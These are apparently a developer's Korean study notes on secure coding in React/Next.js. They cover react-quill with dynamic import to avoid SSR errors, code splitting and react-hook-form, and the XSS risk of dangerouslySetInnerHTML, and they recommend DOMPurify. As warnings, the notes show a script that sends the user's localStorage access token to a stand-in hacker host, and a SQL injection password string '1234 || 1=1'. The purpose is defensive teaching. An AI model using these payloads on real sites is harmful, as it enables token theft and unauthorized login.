시큐어 코딩
:해킹 등 사이버 공격의 원인인 보안취약점을 제거해 안전한 소프트웨어를 개발하는 SW 개발 기법을 말한다
보안문제를 신경쓰면서 코딩을 해야한다!
핵심은 웹 에디터를 사용해보고 여기서 발생하는 문제들을 보자
해킹을 방어하는 방법을 보고,
하이드레이션 과정에서 발생하는 문제를 알아보자.
웹에디터
Wysiwyg : 보이는대로 얻는다. 위지위그라는 말
문장이 출력물과 동일하게 나오는 방식을 말한다.
이런 라이브러리에는
https://www.npmjs.com/package/react-quill
https://www.npmjs.com/package/react-draft-wysiwyg
국내에는 https://www.npmjs.com/package/@toast-ui/editor
등이 있다.
우리는 오늘 React-quill을 사용해 보자!
설치
yarn add react-quill
npm install react-quillimport 해주기
import 'react-quill/dist/quill.snow.css';
사용
import { useState } from "react"; import ReactQuill from "react-quill"; import "react-quill/dist/quill.snow.css"; export default function WebEditorPage() { const [contents, setContents] = useState(""); return ( <form> <input type="text" placeholder="작성자" /> <br /> <input type="password" placeholder="비밀번호" /> <br /> <input type="text" placeholder="제목" /> <br /> {/* ReactQuill은 이벤트가 아니라 value값이 들어온다. */} <ReactQuill value={contents} onChange={setContents} /> <br /> <button>등록하기</button> </form> ); }
이렇게 하면 에러가 뜬다.
프리렌더링 시 문제가 있음.
브라우저에 창을 열려고 하면 프론트엔드서버에서 프리렌더링해서 결과가 만들어진 파일을 브라우저로 보낸다.
브라우저에서 한번 더 그린다음 둘을 비교하는 하이드레이션이 일어난다.
프리렌더링 시 React-quill이 브라우저가 아닌 서버에서 실행이 안되서 document is not defined라는 에러가 나온다.
서버일때는 그리지 말고 브라우저일때만 그리라고 해야한다.
방법은 3가지가 잇는데
1. process.browear // 브라우저니?
2. typeof window !== " undefined // 브라우저니?
3. useEffect // 브라우저니?
이렇게 하는 방법이 있다.
React-quill은 1번 방법이 안먹힌다. 라이브러리에 따라 다른데 React-quill의 특징인것 같다.
서버에서 import자체를 하지 말아라 라고 해야한다.
방법은 import dynamic from 'next/dynamic' 을 임포트 해준뒤
const ReactQuill = dynamic(async() => await import("react-quill"), {ssr: false,})변수로 준다.
아주 잘 된다.
우리가 알아야할 것은
등록하기를 눌러서 게시글 등록에 성공하셨습니다. 라는 모달을 띄우고 싶을 때 antd 모달을 다운받아야한다.
그런데 등록하기를 누를 수도 있고, 안누를 수도 있다.
다운로드한 소스코드는 노드 모듈스에 다 있는데 다 다운받는것은 아니고
내가 접속한 페이지에 필요한 import한 것들만 다운받아 보여주는것이다.
그렇지만 모달은 클릭해야지 필요한건데 먼저 다운받는건 비효율적이다.
그래서 이제부터는 dynamic import를 사용할 것이다.
내가 원할때 import 하자!
적용
// import { Modal } from "antd"; const onClickSubmit = async () => { const {Modal} = await import("antd") Modal.success({content: "게시글 등록에 성공하였습니다!!"}) }code-splitting(코드스플릿팅)
코드를 나눴으니 코드 스플릿팅이라고 한다. 이렇게 하면 성능이 더 좋아진다.
useEffect를 사용할 수도 있다.
react hook form 사용
아까 리턴 부분에 리엑트 훅 폼을 사용해 보자
const { register, handleSubmit } = useForm({
mode: "change",
});
return (
<form onSubmit={onClickSubmit}>
<input type="text" placeholder="작성자" {...register("writer")} />
<br />
<input type="password" placeholder="비밀번호" {...register("password")} />
<br />
<input type="text" placeholder="제목" {...register("title")} />
<br />
{/* ReactQuill은 이벤트가 아니라 value값이 들어온다. */}
<ReactQuill value={contents} onChange={setContents} />
<br />
<button>등록하기</button>
</form>
);ReactQuill에는 레지스터를 사용하면 같은 속성을 가지고 있어 충돌이 난다.
다른 방법으로 강제로 넣어줘야한다.
만들어놓은 기능이 있다. setValue이다.
그렇다고 치고 지우면 빈공백이 나와야하는데 안나온다.
강제로 없애줄 수 있다.
에디터를 등록해서 fetch로 가져와보았다.
그런데 태그가 그대로 나오는 걸 볼 수 있다.
이건 html태그의 dagerouslySetinnerHTML이라는 속성을 사용해 Html 태그를 태그 그대로 읽어줘 라고 말해주는 것
<div dangerouslySetInnerHTML={{__html: data?.fetchBoard.contents,}}></div>그런데 이는 좀 위험하다.
{/* <div
dangerouslySetInnerHTML={{
__html: `
<script>
const qqq = localStorage.getItem("accessToken")
axios.post("http://myhackerbackend.com/mydata", { data: qqq })
</script>
`,
}}
></div> */}게시글 내용이 이렇다면 들어가면서 토큰을 해킹당하기 때문이다.
만약 그림다운이 실패하면 onerror가 실행되게 할 수 있는데 여기는 자바스크립트 코드를 넣을 수 있고, 이걸 이용해서 해킹할 수도 있다.
해킹을 예방해주는 라이브러리 Dompurify
설치
yarn add dompurify
타입스크립트 설치
yarn add --dev @types/dompurify
사용
import * as DOMPurify from 'dompurify';
let clean = DOMPurify.sanitize('hello there');
hydration 수분공급
프리렌더링 때 그려지지않는 css를 어떻게 그려줄까
해결방법: 삼항연산자
코드를 입력하세요
첫 페이지 렌딩속도가 빠르다.
process.browser만 조심하면 프리렌더링 시 UI를 빠르게 받아볼 수 있다.
yarn dev는 개발용
yarn start는 배포용(소스코드를 고쳐도 리프레시가 되지 않는다)
추가+
유명한 해킹공격 방법 top10이 3년~ 에 한번씩 공개되는데
OWASP Top Ten이다.
injection이 뭐길래...
injection은
로그인 시 이메일이 유저의 이메일과 같은지, 패스워드가 유저의 패스워드와 같은지 검증하고 맞다면 로그인함.
그런데 해커가 비밀번호에 1234 || 1=1 이렇게 쓴다.
비밀번호가 틀려도 전체가 true가 되어버려서 로그인이 된다.
디테일한 부분은 더 들어가야 되지만 이런 원리이다.
